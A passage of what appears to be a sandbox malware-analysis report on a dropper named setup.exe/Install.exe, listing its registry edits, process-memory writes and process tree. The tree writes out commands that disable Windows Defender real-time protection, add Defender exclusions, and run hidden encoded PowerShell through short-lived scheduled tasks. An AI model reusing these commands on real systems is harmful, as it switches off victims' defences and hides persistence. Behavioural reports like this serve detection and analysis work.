Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1e-ce-87-45-3d-07\WpadDecisionReason = "1" C:\Windows\SysWOW64\rundll32.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host C:\Windows\SysWOW64\wscript.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\wscript.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F1270663-7083-47A2-ADE4-A415B58BF384}\WpadDecision = "0" C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00ab000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1e-ce-87-45-3d-07\WpadDecision = "0" C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings C:\Windows\SysWOW64\wscript.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F1270663-7083-47A2-ADE4-A415B58BF384}\1e-ce-87-45-3d-07 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00ab000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F1270663-7083-47A2-ADE4-A415B58BF384}\WpadDecisionTime = 20f54b047430db01 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" C:\Windows\SysWOW64\rundll32.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F1270663-7083-47A2-ADE4-A415B58BF384}\WpadDecisionTime = c028d5017430db01 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1e-ce-87-45-3d-07\WpadDecisionTime = c028d5017430db01 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1076 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup.exe C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe
PID 1076 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup.exe C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe
PID 1076 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup.exe C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe
PID 1076 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup.exe C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe
PID 1076 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup.exe C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe
PID 1076 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup.exe C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe
PID 1076 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup.exe C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe
PID 2692 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe
PID 2692 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe
PID 2692 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe
PID 2692 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe
PID 2692 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe
PID 2692 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe
PID 2692 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe
PID 1588 wrote to memory of 3068 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 3068 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 3068 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 3068 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 3068 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 3068 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 3068 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1588 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 3068 wrote to memory of 2452 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 3068 wrote to memory of 2452 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 3068 wrote to memory of 2452 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 3068 wrote to memory of 2452 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 3068 wrote to memory of 2452 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 3068 wrote to memory of 2452 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 3068 wrote to memory of 2452 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2712 wrote to memory of 2904 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2712 wrote to memory of 2904 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2712 wrote to memory of 2904 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2712 wrote to memory of 2904 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2712 wrote to memory of 2904 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2712 wrote to memory of 2904 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2712 wrote to memory of 2904 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2452 wrote to memory of 3056 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 3056 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 3056 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 3056 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 3056 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 3056 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 3056 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2904 wrote to memory of 2724 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2904 wrote to memory of 2724 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2904 wrote to memory of 2724 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2904 wrote to memory of 2724 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2904 wrote to memory of 2724 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2904 wrote to memory of 2724 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2904 wrote to memory of 2724 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 1704 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 1704 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 1704 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 1704 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 1704 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 1704 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2452 wrote to memory of 1704 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2904 wrote to memory of 2792 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\PL\setup.exe

"C:\Users\Admin\AppData\Local\Temp\PL\setup.exe"

C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe

.\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe

.\Install.exe /S /site_id "525403"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gYppoSXqN" /SC once /ST 15:59:27 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gYppoSXqN"

C:\Windows\system32\taskeng.exe

taskeng.exe {2AF98F94-9D1A-4E07-A631-9BCFD183D40E} S-1-5-21-3290804112-2823094203-3137964600-1000:VORHPBAB\Admin:Interactive:[1]

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gYppoSXqN"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bJbhxhmwQPPePEjnjA" /SC once /ST 17:47:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\XoWamSN.exe\" sw /site_id 525403 /S" /V1 /F

C:\Windows\system32\taskeng.exe

taskeng.exe {8777F753-B404-4D40-9E64-AE96C8558804} S-1-5-18:NT AUTHORITY\System:Service:

C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\XoWamSN.exe

C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\XoWamSN.exe sw /site_id 525403 /S

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gvsTcAnUJ" /SC once /ST 09:11:05 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gvsTcAnUJ"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gvsTcAnUJ"

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gcYxblQqe" /SC once /ST 07:11:08 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gcYxblQqe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gcYxblQqe"

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\cmd.exe

